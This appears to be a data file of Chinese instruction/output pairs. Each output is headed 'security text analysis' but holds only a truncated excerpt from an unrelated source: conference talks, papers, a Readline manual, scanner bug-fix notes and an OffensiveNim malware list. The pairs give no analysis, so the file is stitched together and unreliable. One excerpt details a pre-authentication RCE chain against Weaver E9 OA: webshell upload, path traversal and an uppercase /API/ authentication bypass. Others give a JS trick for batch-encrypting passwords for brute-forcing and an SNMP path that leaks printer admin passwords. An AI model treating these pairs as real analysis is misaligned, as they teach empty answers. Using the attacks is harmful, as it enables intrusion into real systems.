括⼀系列ARL⾃身的bug问题。觉得有必要记录⼀下，也避免哪天硬盘挂了没备份忘记了怎么修改
的。
0x01 如何部署和调试代码
我通常是不进⾏单步调试的，毕竟ARL是python写的，有报错看报错，然后打印打印关键信息基本
我就知道哪⾥有问题要怎么改了。
我按照官⽅的安装⽅式是⼀键部署的docker版本，通过docker-compose来进⾏管理。
可以看到分为好⼏个容器，除了db和mq，剩下三个应该都是有具体ARL代码的。⽽我们前⾯所说
的例如增加host碰撞、增加扫描等实际上都是在arl_worker这个容器⾥，因此当我们对代码做修改
时，其实只需要覆盖掉worker容器⾥的具体执⾏的py代码就⾏了。当然为了减少问题，每次对代码
修改可以同时覆盖这三个容器⾥的ARL代码，使他们保持⼀致。
⽐如我们修改了这个services⾥的altDNS.py，这个时候我们只需要把这个services的⽂件夹复制到
worker容器⾥直接覆盖就⾏了。
像这样，把本地的修改过的services⽂件夹复制到容器的app⽬录下覆盖掉⾥⾯的services⽂件夹，
就完成了⼀次代码修改更新，之后我们只需要restart⼀下容器即可 docker-compose restart
worker ，不重启的话修改不会⽣效。
修改完重新跑容易报错，这时候我们需要做⼀些简单的排查，⽐如先多看看restart后容器是不是
up，如果报错了可能会不停的处于restart状态。
如果遇到执⾏错误了，这时候我们看看报了什么错
docker-compose logs
再在⽇志⾥寻找报错信息，基本上就可以找到哪⾥代码报错了，像上⾯这样。
修改错误后重新复制，容器就会正常了。还有个⽇志也要注意
项⽬⽬录下两个log是映射的容器内的两个⽇志，这⾥也会有⼀些其他的错误⽇志可以看。经常看
⽇志可以对实际运⾏情况进⾏了解，也能找到很多arl⾃身的bug。
0x02 修复⼀个ARL的隐藏bug 1
这个bug只有在进⾏⻓时间重型扫描任务时才会出现，它会导致扫描任务假死，处于永远的进⾏
中。
在运⾏了很⻓时间没有结束的任务时，你可能会从⽇志⾥找到这个报错。如果有这个报错那么它会
导致你任务⼀直卡着不会结束。
https://groups.google.com/g/celery-users/c/5dPhSfF5APQ
https://stackoverflow.com/questions/67907336/celery-task-with-a-long-eta-and-rabbitmq
参考这⼏个帖⼦，⼤概可能是rabbitmq提前触发默认超时报错了，导致celery的任务卡在那边。解
决⽅式是修改rabbitmq的配置。
https://www.rabbitmq.com/consumers.html#acknowledgement-modes
我们进⼊到rabbitmq的容器⾥，在rabbitmq的配置⽬录下创建⼀个advanced.config⽂件写⼊上⾯
的配置内容，把超时时间改成undefined。修改完成后restart⼀下容器就会⽣效了。
0x03 修复⼀个ARL的隐藏bug 2
在app->utils->conn.py的http_req函数⾥有个bug，这⾥conn如果遇到链接错误没有做异常捕获会
导致上层调⽤的进程直接报错退出。
我在fileleak这⾥看到的这个报错，因此我直接在这⾥加⼊了异常捕获。如果不加，基本上扫描⼗次
⼋次会中断报错。
0x04 集成xray时候的问题
xray的集成废了好⼤的劲，有⼀些坑吧，我也不知道我解决的对不对，总之按照我的⽅式算是解决
了。
xray在执⾏的时候会寻找⽬录⾥的配置⽂件，⽽我们是通过arl来执⾏的xray所以⽬录的相对位置会
有⼀定影响，具体过程我就不说了，我是这样解决的。
把这三个yaml放到arl主⽬录⾥，然后还有xray的主⽂件夹，在主⽂件⾥我们在放⼊⾃⼰要⽤的
config再通过参数来指定config.yaml的位置，这样执⾏就不会报错了。如果没有把这三个yaml⽂件
放在根⽬录是会报错的。
其次，xray在容器内执⾏依赖于⼀个libpcap.so，解决⽅式是把Linux⾥正常的复制到容器⾥的lib⽬
录下。
这两个做完后，xray的执⾏基本上是不会有问题了。
接下来是arl⾥和xray对接的⼀些细节问题。之前说过把xray的json格式输出后对接到nuclei的字段
⾥，整体处理思路是没有问题的。但是xray的json输出很⼤的问题在于字段不太固定。它不像
nuclei⼀...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
js加密爆破⼩技巧
js格式化，然后下断点
source⾥下断点，找到加密算法位置，通过console批量加密
2
弄这个加上明⽂，⽅便搜索。
sublime批量格式化密码
JavaScript
复制代码
let pwds = ["123456", "111111"];
for (let pwd of pwds) {
  let encrypt = o.encrypt(i.MD5(pwd).toString());
  console.log("pwd: %s;encrypt text: $$encrypt$$%s$$encrypt$$; ", pwd,
encrypt);
 };
1
2
3
4
5
6
3
JavaScript
复制代码
 (.*)
替换
 "\1",
1
2
3
4
全选复制，提取表达式
JavaScript
复制代码
 # 提取第⼀次
 \$\$encrypt\$\$(.*?)\$\$encrypt\$\$
 # 第⼆次去掉encrypt分隔符
 \$\$encrypt\$\$(.*?)\$\$encrypt\$\$
 replace
 \1
1
2
3
4
5
6
7


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

GNU Readline Library User Interface
Edition 6.1, for Readline Library Version 6.1.
October 2009
Chet Ramey, Case Western Reserve University
Brian Fox, Free Software Foundation
This manual describes the end user interface of the GNU Readline Library (version 6.1,
9 October 2009), a library which aids in the consistency of user interface across discrete
programs which provide a command line interface.
Copyright c⃝ 1988–2009 Free Software Foundation, Inc.
Permission is granted to make and distribute verbatim copies of this manual provided the
copyright notice and this permission notice are preserved on all copies.
Permission is granted to copy, distribute and/or modify this document under
the terms of the GNU Free Documentation License, Version 1.3 or any later
version published by the Free Software Foundation; with no Invariant Sections,
with the Front-Cover texts being “A GNU Manual”, and with the Back-Cover
Texts as in (a) below. A copy of the license is included in the section entitled
“GNU Free Documentation License”.
(a) The FSF’s Back-Cover Text is: You are free to copy and modify this GNU
manual. Buying copies from GNU Press supports the FSF in developing GNU
and promoting software freedom.”
Published by the Free Software Foundation
59 Temple Place, Suite 330,
Boston, MA 02111-1307
USA
i
Table of Contents
1
Command Line Editing . . . . . . . . . . . . . . . . . . . . . . . . 1
1.1
Introduction to Line Editing. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
1.2
Readline Interaction. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
1.2.1
Readline Bare Essentials. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
1.2.2
Readline Movement Commands. . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
1.2.3
Readline Killing Commands . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
1.2.4
Readline Arguments. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ....


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Inside  Flash:  Flash  Exploit
Detec4on  Uncovered
Ga1ois
  &
  Bo
  Qu
About  us
•  Security
  Researchers
  in
  PANW
•  Work
•  IPS
•  APT
  Detec=on
•  A>er
  work
•  Vulnerability
  discovery
•  Exploit
  technique
  researching
Agenda
•  Iden=fy
  (Possible)
  Exploit
•  Stop
  Exploit
•  Detect
  Exploit
Part
  1
  :
  Iden=fy
  Possible
  Exploit
Find
  vector
  in
  loop
  using
  sta=c
  detec=on
Find  opcode  pa<ern  of  loop
•  Compile
  tools
•  As3compile.exe
•  Asc.jar–
  two
  embeded
  abc
  ﬁle
  needed
•  Mxmlc
  in
  ﬂexsdk
•  Flash
  Builder
•  Flash
  CS*
  professional
•  Command
  line
  decompile
  tools
•  Swfdump.exe
  in
  sw>ools
•  Swfdump.py
  in
  mecheye-‐fusion
•  Swfdump.jar/swfdump.exe
  in
  ﬂex
  –
  we
  use
  it
•  3
  types
  of
  loop
•  For
•  While
•  Do/while
Simplest  situa4on
MXMLC
Swfdump
SWF
Do…while
for
AS3
Algorithm
def
  FindVecInLoop:
For
  i
  in
  range(0,len(line)):
  If
  ﬁnd
  jump
  opcode
  i
  =
  line_of_jump_opcode
  get
  Jump_label
  for
  j
  in
  range(line_of_jump_opcode+1,
  len(line))
  If
  ﬁnd
  jump_label
  get
  cur_line_cnt
  for
  k
  in
  range(cur_line_cnt+1,
  len(line))
  if
  ﬁnd
  if:
  get
  the
  if_label
  if
  line_of_if_label
  ==
  line_of_jump_opcode+1
  print
  ﬁnd
  loop
  get
  loop_body
  ﬁnd
  vector
  in
  loop_body
  check
  the
  3rd
  argument
  of
  construct,
  if
  vector
  bingo!
Find  opcode  pa<ern  of  loop
•  demo
Limita4on  and  solu4on
•  Bad
  news
•  Loadbytes
  for
  obfusca=on
•  Not
  use
  loop[jmp
  or
  goto
  or
  repeat
  one
  statement
  for
  many
  =mes]
•  Func=on
  calls
  in
  loop
  body
•  Good
  news
•  Hook
  and
  generate
  inner
  real
  exploit
  SWF
•  The
  pafern
  itself
  can
  be
  detected
•  Check
  deeper
Part
  2
  :
  Stop
  Expl...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Radio Exploitation 101
Characterizing, Contextualizing, and Applying Wireless Attack Methods
Matt Knight
Bastille Networks
San Francisco, CA
matt@bastille.net
Marc Newlin
Bastille Networks
Atlanta, GA
marc@bastille.net
Abstract—Reverse engineering wireless physical layers has never
been easier, thanks to the commoditization of Software Deﬁned
Radio (SDR) technology and an active open source community.
However, the successful application of SDR to security challenges
requires extensive domain knowledge and insight into radio
frequency fundamentals.
The goal of this paper, and accompanying presentation, is
to highlight how wireless network exploitation is both similar
to, and distinct from wired, network exploitation, and to
offer techniques that will aid security researchers in thinking
creatively
about
wireless
reverse
engineering
and
exploit
development.
Index Terms—wireless, security, reverse engineering, software
deﬁned radio, radio frequency, internet of things, mobile
I. INTRODUCTION
The
growth
of
mobile
and
Internet
of
Things
(IoT)
technologies has reshaped the computing landscape as we
know it. Devices are made to be “smart” (smart[phones
— cars — refridgerators — etc.]) by upgrading them with
embedded computers. By bolting on processing and network
connectivity, they are exposed to other devices on networks,
which can be as small as comprising only two devices or as
broad as the open Internet. This introduces an expansive new
attack surface to a hypothetical security model.
II. THE EVOLUTION OF NETWORK EXPLOITATION
Recent years have seen a ﬂood of novel wireless exploits,
with exploitation moving beyond 802.11 and into more ob-
scure standard and proprietary wireless protocols. This can
be attributed to the proliferation and commoditization of
technologies that provide promiscuous access to the physical
layer of the communication stack. For context, we will brieﬂy
discuss the evolution of network exploitation.
A. Network Abstraction Models
Network abstractio...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Blue Team Hell: A story of
ISPs, Healthcare, and
Education
Text
Amanda Berlin
@Infosystir
Blue team
started at ISPs
Healthcare
Purple team
Windows Admin
Network Security
Jack of all trades
very visual  - All the memes!!
Text
Hot sauce for charity
that’s not Charity
Text
Adult Supervision Required
If you’re squeamish… you might want to look away and maybe do the earmuﬀs thing
Text
Blue & Red
One of my favorite kid’s movies ever. Great quote that applies to defense and oﬀense
1. preface with that all I’m bringing up has been engineered and ﬁxed or I wouldn’t bring it up.
2.Imagine yourself walking into this environment with no help (at ﬁrst)
3.Hadn’t started in infosec yet
4.Knew these were bad, and it got worse
5.Guy didn’t grow with the environment
6.Started out with everyone in the dept as a domain admin and non-dept people knowing “INFO”
7.Start with some things we didn’t have
1.
A/V - production servers had anti-virus installed sometimes. But if it were to cause performance problems it would be uninstalled or disabled. Servers that were required to remain logged in with domain admin due to the way
the application interacted with the desktop.
2.
WSUS. All windows environment. WSUS was there, just not really operational or managed.
3.
Visibility. No clue what software, how many servers/switches/pcs. What vendor equipment was on our network, what data was passing over it.
4.
decent datacenter (waterlines above, open ports, door access, cable mgmt)
pictures of server racks here
1.
backups
2. DMZ
3. segmentation, open ports and vlan1 everywhere!
4. At one point this was so incredibly bad. That our public facing web server was on a dual homed windows 2003 server. This Windows server had a database backend
that our third party web developers would access with vnc. The database was on microsoft sql 2000 located on our domain controller. These same domain controllers
contained the dhcp zones for our publicly accessible non-password protected, unencrypted wiﬁ. Once we...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Criminal Procedure Timeline
???
Stop
Search
Arrest
Questions
Appearance
Bail
Lets Make a Deal
Trial
???
Something happens which causes the police to
want to investigate you
Stop
Police are investigating something
In order to stop you to investigate, police must
have
"reasonable articulable suspicion" that "criminal
activity is afoot" - Terry v. Ohio
Search
In general* warrantless searches are
unconstitutional due to the ban on
unreasonable searches under the 4th
Amendment
Search
In general* warrantless searches are
unconstitutional due to the ban on
unreasonable searches under the 4th
Amendment
* - Exceptions to Warrant Req.
Terry - reasonable suspicion suspect is "armed and dangerous"
Automobiles
Arrest
Border crossing
Exigent Circumstances
Destruction of Evidence
Public Safety
Permission
Questioning Part 1
Miranda Warnings
 Right to Silence
Right to an Attorney
Miranda given when a person is "in custody"
Miranda required if prosecutors later want to
introduce what you say against you at trial
Police are allowed to lie to you
Questioning Part 2
Once you have been appointed or retained
counsel on a particular case, you have
additional rights to have your attorney
present whenever police question you or you
appear in court on that case
Arrest
Police must have probable cause to arrest
In general, a person can be arrested for any
crime (possibly even a traffic violation)
First Appearance / Arraignment
You may have an initial appearance where the
only thing done is setting bail or releasing
you.
In many states, you have a right to bail.
Realistically, bail is always set except in
extremely serious cases (i.e. murder).
Bail
Cash bail only
vs.
Bail bonds
First Appearance / Arraignment 2
At your arraignment, you will receive a list of
the charges against you.
You must have an attorney present to assist
you at this point, or you will be appointed
one.
(sometimes bail setting will also be done...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hacking 911:
Adventures in Disruption,
Destruction, and Death
quaddi, r3plicant & Peter Hefley
August 2014
Jeff Tully
Christian Dameff
Peter Hefley
Physician, MD
Emergency Medicine
Physician, MD
Pediatrics
IT Security, MSM, C|CISO, CISA, CISSP, CCNP, QSA
Senior Manager, Sunera
Jeff Tully
Christian Dameff
Peter Hefley
Open CTF champion sudoers- Defcon 16
Speaker, Defcon 20
Wrote a program for his TI-83
graphing calculator in middle school
Speaker, Defcon 20
Gun hacker, SBR aficianado
This talk is neither sponsored,
endorsed, or affiliated with any of our
respective professional institutions or
companies.
No unethical or illegal practices were
used in researching, acquiring, or
presenting the information contained in
this talk.
Do not attempt the theoretical or
practical attack concepts outlined in
this talk.
Disclaimer
Outline
- Why This Matters (Pt. 1)
- 911 Overview
- Methodology
- Attacks
- Why This Matters (Pt. 2)
Why This Matters (Pt. 1)
4/26/2003 9:57pm
Emergency Medical Services (EMS)
Research Aims
• Investigate potential vulnerabilities
across the entire 911 system
• Detail current attacks being carried out on
the 911 system
• Propose solutions for existing
vulnerabilities and anticipate potential
vectors for future infrastructure
modifications
Methodology
• Interviews
• Regional surveys
• Process observations
• Practical experimentation
• Solution development
Wired Telephone Call
End
Office
Selective
Router
PSAP
ALI Database
Voice Only
Voice and Data
Data
Voice
Voice + ANI
Voice + ANI
ANI
ALI
Wireless Phase 1 Telephone Call
Mobile
Switching
Center
Selective
Router
PSAP
ALI Database
Voice Only
Voice and Data
Data
Voice
Voice + pANI/ESRK
Voice + pANI/ESRK
pANI / ESRK
ALI
Cell Tower
Voice
Callback # (CBN)
Cell Tower Location
Cell Tower Sector
pANI / ESRK
CBN, Cell Tower Location,
Cell Tower Sector, pANI / ESRK
Mobile
Positioning
Center
Wireless Phase ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Today‘s Session
! Design failures in embedded systems
! Examples of design failures
! Exploiting a design failure
! Software vulnerabilities in embedded
systems
! Examples software vulnerabilities
! Exploiting a common embedded system
Design failures
! Undocumented functionality
! Developer backdoors
! Auto-something features
! Legacy functions
! Ignored standards
! Uncontrolled increase of complexity
! New subsystems
! Additional access methods
! Inconsistent access restrictions
Design failures
Case 1: Lucent Brick
! Layer 2 Firewall running Inferno OS
! ARP cache design failures
! ARP cache does not time out
! ARP reply poisoning of firewall
! ARP forwarded regardless of firewall rules
LSMS Management Server
DMZ
ARP reply
with LSMS IP
Design failures
Case 2: Ascend Router
! Undocumented discovery protocol
! Special packet format to UDP discard port
! Leaks information remotely
! IP address/Netmask
! MAC address
! Serial number
! Device type
! Features
! Can set IP address using SNMP write
community
Exploiting a design failure:
Exploiting a design failure:
HP Printers
HP Printers
! Various access methods:
! Telnet,HTTP,FTP,SNMP,PJL
! Various access restrictions
! Admin password on HTTP and Telnet
! IP access restriction on FTP, PJL, Telnet
! PJL security password
! Inconsistent access restriction interworkings
! SNMP read reveals admin password in hex at
.iso.3.6.1.4.1.11.2.3.9.4.2.1.3.9.1.1.0
! HTTP interface can be used to disable other
restrictions (username: laserjet)
HP Printers: PJL
! PJL (Port 9100) allows access to printer
configuration
! Number of copies, size, etc.
! Locking panel
! Input and output trays
! Eco mode and Power save
! I/O Buffer
! Security relies on PJL password
! key space of 65535.
! max. 6 hours for remote brute force
HP Printers: PJL
! PJL (Port 9100) allows access to printer file
systems on DRAM and FLASH
! Spool directory contains jobs
! PCL macros on printer
! More file system content (later models)
! Firmware
! Web server c...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

简单写一下审计了几个月这个 oa 的思路
首先肯定还是看 web.xml
对 jsp 文件的鉴权以及 oa 的补丁都在 SecurityFilter 中
E8 和 E9 的主要差别就是 E9 多了一个/api 的访问 也就是这个 servlet
这个 servlet 就是扫描 com.cloudstore 和 com.api 包下的@Path 注解的一个 rest 接口
SecurityFilter 初始化时会调用 weaver.security.filter.SecurityMain 的 initFilterBean 方法会
初始化安全规则
会加载这两个文件夹下对应 Ecology 版本的 XML 规则文件
后面这些代码太多了 就不一一去看 一个重要的点就是会去调用
weaver.security.rules.ruleImp 包下面的每一个类的 validate 方法
这些类差不多就是 E9 每
次打的补丁
我们可以在拿到补丁后直接看到这些洞的 URL 这里有一个小 tips 就是如果是
因为安全规则访问某个点导致的 404 在返回的 header 里会有一个 securityIntercept
泛微在这几个月修复了一系列由于 imagefilemanager 导致的 RCE 漏洞
我们先看到这次某微在 3 月份打的一个补丁
weaver.security.rules.ruleImp.SercurityRuleForCptInventory
这个补丁针对性的修复了我交给某平台的一个前台 RCE 漏洞 并且只是在我交洞的一个月
后 我没拿洞去打 也没给过任何人 所以 懂得都懂～
路径是/api/cpt/inventory/docptimpoptinventory
这里拿到 inventoryexcelfile 参数调用 getImageFileInfoById 方法拿到 ImageFileManager
随后调用 getImageFileName 验证了后缀名
我习惯在审计的时候把这些库文件丢到 jd-gui 里面全部反编译出来方便在 idea 里面搜索
在 com.engine.cpt.web.CptInventoryAction 类里 跟进
可以发现这里是拿到 inventoryexcelfile 参数然后查询数据库后将 imagefilename 拼接到了
路径中直接将文件写入到/cpt/ExcelToDB/目录中
所以我们现在需要找到一个前台的地方
进行上传 jsp 木马写入 imagefile 表中并且还要回显 imagefileid 当我把 e9 源码熟悉之后 直
接在所有 jsp 文件中搜索 new FileUpload(request,"utf-8") 由此找到了这个文件可以前台访
问 workrelate/plan/util/uploaderOperate.jsp 这个文件可以达到上面的要求
跟进这个方法
关键点在这个 uploadFiles 方法
跟进后就会发现这个类 weaver.file.FileUpload 的所有文件上传操作都会进行压缩之后写入
到 imagefile 数据表中 然后将文件放到 filesystem 目录 并且在文件上传的过程中不会验证
文件的后缀名 作为 imagefilename 字段写入到数据库中
到这里似乎已经可以写入 webshell 了 但是如果此时我们一步步的上传然后去访问会发现
直接 404 了 这是因为有对应的规则 访问/cpt/ExcelToDB/目录中的 jsp 文件必须登陆才能
访问 我们需要的是前台 RCE 所以必须得找一个前台的地方我们可以完全控制写入数据库
中的 imagefilename 参数 使其为/../../xxx.jsp 在 weaver.file.FileUpload 类的上传中 调用
的是某微自己写的文件上传解析类 weaver.file.multipart.MultipartParser
直接取最后一个斜杠后的内容为文件名 通过搜索 new ServletFileUpload 寻找调用
commons-fileupload 库来解析文件上传的地方 最后找到了
/api/fna/documentCompare/doCreateDocument 这个路径
这里可以将文件名原样的写入到 imagefile 表中 返回 imagefileid 具体的就不去跟了
最后还有一个点就是/api 路径的鉴权 我们上面所提到的这两个路径都是需要登陆后访问的
解决办法就是大写 /API/像这样访问就不需要登陆
/api/路由的鉴权在这个类中 335 行
可以看到这里拿到 requesturi 之后并没有转换大小写 导致/API/可以绕过这个鉴权
那为什么大写...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

某硬件设备漏洞挖掘之路-Web选手初入"二进
制"
Author: Yuanhai
遵守相关法律法规,本文不会带有任何厂商标识。
0x01:前言
很早之前就有打算开始往二进制方向发展,但由于基础较差,需要花费大
量时间从0开始学习。阅读其他师傅所写的文章受益良多。最有印象的
就是忍者师傅所写的《web选手如何快速卷入二进制世界》。简单的二
进制应用在IDA的伪代码状态下与日常的WEB应用审计流程基本一致。
下面就分享一篇个人初学二进制的挖掘实践。
0x02:正文
此次挖掘的目标系统是一个硬件设备(Web应用网关),通过官方服务中心
拿到了更新的固件包(.BIN文件)。然后使用Binwalk对固件进行提取
python -m binwalk -Me ****.bin
这里使用的是windows环境下的命令
提取出来的文件会放在当前目录下以_(文件名)开头的新建文件夹中
在某个目录下发现了一个 .cpio 文件,大小为 164MB ,( cpio 也属于一种
压缩文件)
在windows下可以使用 7-zip 解压其中的文件。
看见etc,dev等目录大概就明白了这是Unix系统文件。
根据网关默认的页面查找到了Web程序所在的目录。
此目录下仅有一些html页面,以及一些静态资源文件。并没有功能处理
文件。
查看相关配置文件,该网关应用使用 lighttpd + FastCGI 环境搭建。
所有请求都交给 main_req 文件进行处理。程序根目录
为 /var/local/web/htdocs
找到此文件,发现是一个系统执行文件
将其拖入IDA中。由于不太清楚程序架构,搜索带有Login字符的相关处
理方法,使用F5查看伪代码。根据前端传入的参数进行对比。确定最终
的处理方法。
前端传递参数只有 user_name , password , language 三个参数
与 login_req_proc 方法逻辑相同。
到了这里基本流程就和Web中代码审计一致了.相比java中的获取请求
参数方法 request.getParameter 。在图中一眼就可以看出。程序使用
http_parameter_get 获取http协议提交过来的数据。
if ( http_parameter_get("user_name", &src)//获取参数user_name赋
值给src
    || http_parameter_getint("language", &v23)//获取int类型的参
数language赋值给v23
    || http_parameter_get("password", &v24)//获取password参数赋
值给v24
    || v23 >= 2 )
  {如果上文有一个参数为空,且v23(language的值大于或等于2时)
    resultpage_redirect("/login.html", &unk_4198F8,
&unk_4198F8);
    //直接重定向到login.html并返回200
    return 200;
  }
根据以上流程查找存在使用 http_parameter_get 的方法,确定 sink
在IDA中,单击需要查找的方法,使用快捷键X 依次审计存在使用
http_parameter_get 的事件方法。
通过审计发现并没有一些调用敏感函数的利用点。
比较疑惑？在审计中发现存在调用的方法只有少数,正常的应用程序应该
不只这么点功能。
继续分析,在 xxx_server() 方法中发现了一些其他内容。
应用在启动时,会加载files下的一些模块
而模块中的_display.xml文件中声明了功能路径以及处理方法。 使用
parserMapping对xml中的内容进行处理
如:
        <display>
            <disp_url>version_save</disp_url>
            <template>download.xml</template>
            <user_file>system.so</user_file>
            <pre_transform>save_pre_translate</pre_transform>
<post_transform>save_post_translate</post_transform>
            <transform>save_translate_value</transform>
        </display>
disp_url 为该方法的请求路径, tem...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Rocking the pocket book:
Hacking chemical plants
for competition and
extortion
Marina Krotoﬁl
Jason Larsen
WHITE PAPER, DEFCON 23
FURTHER CO-AUTHORS AND CONTRIBUTORS:
Alexander Isakov • Alexander Winnicki • Dieter Gollmann • Pavel Gurikov
DAMN VULNERABLE CHEMICAL PROCESS
https://github.com/satejnik/DVCP-VAC • https://github.com/satejnik/DVCP-TE
This research was done in Hamburg University of Technology, Hamburg, Germany.
August 2015
Contents
1
Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
1.1
Process Control Systems
6
2
Classes of Cyber-Physical Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
2.1
Equipment damage
9
2.2
Production damage
9
2.3
Compliance violation
9
3
Stages of Cyber-Physical Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
3.1
Access
11
3.2
Discovery
12
3.3
Control
13
3.4
Damage
13
3.5
Cleanup
14
4
Vinyl Acetate Monomer Process . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
4.1
Process Description
15
4.2
Control Model
17
4.3
Simulation of Attacks
17
4
5
Attack for Production Damage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
5.1
Preliminary Analysis
20
6
Attaining Attack Objectives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
6.1
Access
21
6.2
Discovery
21
6.3
Control
22
6.4
Damage
25
6.5
Cleanup
28
6.6
Discussion
31
7
Damn Vulnerable Chemical Process . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
7.1
Framework description
34
7.2
Comparison of TE and VAM processes
38
7.3
Potential applications
39
8
Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
1. Introduction
Advances in computing and networking have added new capabilities to physical systems that could
not b...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Translation-Based Steganography
Christian Grothoﬀ
Krista Grothoﬀ
Ludmila Alkhutova
Ryan Stutsman
Mikhail Atallah
CERIAS, Purdue University {christian,krista}@grothoff.org,
{lalkhuto,rstutsma}@purdue.edu,mja@cs.purdue.edu
Abstract. This paper investigates the possibilities of steganographically
embedding information in the “noise” created by automatic translation
of natural language documents. Because the inherent redundancy of nat-
ural language creates plenty of room for variation in translation, machine
translation is ideal for steganographic applications. Also, because there
are frequent errors in legitimate automatic text translations, additional
errors inserted by an information hiding mechanism are plausibly unde-
tectable and would appear to be part of the normal noise associated with
translation. Signiﬁcantly, it should be extremely diﬃcult for an adver-
sary to determine if inaccuracies in the translation are caused by the use
of steganography or by deﬁciencies of the translation software.
1
Introduction
This paper presents a new protocol for covert message transfer in natural lan-
guage text, for which we have a proof-of-concept implementation. The key idea is
to hide information in the noise that occurs invariably in natural language trans-
lation. When translating a non-trivial text between a pair of natural languages,
there are typically many possible translations. Selecting one of these transla-
tions can be used to encode information. In order for an adversary to detect the
hidden message transfer, the adversary would have to show that the generated
translation containing the hidden message could not be plausibly generated by
ordinary translation. Because natural language translation is particularly noisy,
this is inherently diﬃcult. For example, the existence of synonyms frequently
allows for multiple correct translations of the same text. The possibility of er-
roneous translations increases the number of plausible variations and thus the
opportunit...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

New Phishing Attacks Exploiting OAuth
Authorization Flows
August 7, 2021
Jenko Hwong
jhwong@netskope.com
@jenkohwong
$ az ad signed-in-user show
[
  {
    "jobTitle":   "Researcher",
    "department": "Threat Research Labs",
    "company":    "Netskope, Inc.",
    "email":      "jhwong@netskope.com"
    "twitter":    "@jenkohwong",
    "background": "vulnerability scanning, AV/AS, pen-testing/exploits,
  L3/4 appliances, threat intel, windows security",
  }
]
Phishing Evolution: smtp, fake domain, ssl cert, user/pwd
in the beginning...
Phishing Evolution: apps, fake domain, ssl cert, user/pwd
fake website
phish
browse, auth
steal
username
password
victim
1
2
3
smtp, sms, IM, chat...
http(s)
attacker
+mobile
Phishing Evolution: apps, fake domain, ssl cert, user/pwd
fake website
hosted in
cloud
phish
browse, auth
victim
1
2
smtp, sms, IM, chat...
http(s)
attacker
steal
username
password
3
+cloud
fake website
hosted in
cloud
phish
browse, auth
victim
1
2
smtp
http(s)
attacker
steal
username
password
3
+cloud
Phishing Evolution: apps, fake domain, ssl cert, user/pwd
Phishing Evolution: fake domain, apps, ssl cert, user/pwd
fake website
phish
browse, auth
steal
username
password
victim
1
2
3
smtp, sms, IM, chat...
http(s)
attacker
controls
MFA
IP allow policies
link analysis (domain/URLs/certs)
sender reputation
link analysis (domain/URLs/certs)
content inspection (creds)
Phishing Evolution: OAuth 2.0 auth code grant[1]
+cloud app authorization
Application
(client, device)
User
Azure AD
Google Identity
Identity Platform
1
2
3
Authenticate and Authorize
Authenticate (MFA)
Authorize permissions (scopes)
OAuth Tokens
access token
refresh token
Request Authorization
Request permissions (scopes)
Redirect user to Identity Platform
(authorization service)
[1] https://datatracker.ietf.org/doc/html/rfc6749#page-24
Phishing Evolution: OAuth 2.0 auth code grant
+cloud app authorization: Payments
Phishing Evolution: OAuth 2.0 auth code grant
+cloud app authorization: Payments
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
些malware-dev开源项⽬介绍-nim
项⽬列表
OffensiveNim
pop_bin.nim
作⽤
编译
运⾏
pop_winim_bin.nim
作⽤
编译
运⾏
pop_winim_lib.nim
作⽤
编译
运⾏
execute_assembly_bin.nim
作⽤
编译
运⾏
clr_host_cpp_embed_bin.nim
作⽤
编译
运⾏
scshell_c_embed_bin.nim
作⽤
编译
运⾏
fltmc_bin.nim
作⽤
2
编译
运⾏
blockdlls_acg_ppid_spoof_bin.nim
作⽤
编译
运⾏
named_pipe_client_bin.nim && named_pipe_server_bin.nim
作⽤
编译
运⾏
embed_rsrc_bin.nim
作⽤
编译
运⾏
self_delete_bin.nim
作⽤
编译
运⾏
encrypt_decrypt_bin.nim
作⽤
编译
运⾏
amsi_patch_bin.nim && execute_powershell_bin.nim
作⽤
编译
运⾏
etw_patch_bin.nim
作⽤
编译
运⾏
wmiquery_bin.nim
作⽤
3
编译
运⾏
out_compressed_dll_bin.nim
作⽤
编译
运⾏
dynamic_shellcode_local_inject_bin.nim
作⽤
编译
运⾏
shellcode_callback_bin.nim
作⽤
编译
运⾏
shellcode_bin.nim
作⽤
编译
运⾏
shellcode_fiber.nim
作⽤
编译
运⾏
shellcode_inline_asm_bin.nim
作⽤
编译
运⾏
syscalls_bin.nim
作⽤
编译
运⾏
passfilter_lib.nim
作⽤
4
编译
运⾏
minidump_bin.nim
作⽤
编译
运⾏
http_request_bin.nim
作⽤
编译
运⾏
execute_sct_bin.nim
作⽤
编译
运⾏
scriptcontrol_bin.nim
作⽤
编译
运⾏
excel_com_bin.nim
作⽤
编译
运⾏
keylogger_bin.nim
作⽤
编译
运⾏
uuid_exec_bin.nim
作⽤
编译
运⾏
unhookc.nim
作⽤
5
编译
运⾏
unhook.nim
作⽤
编译
运⾏
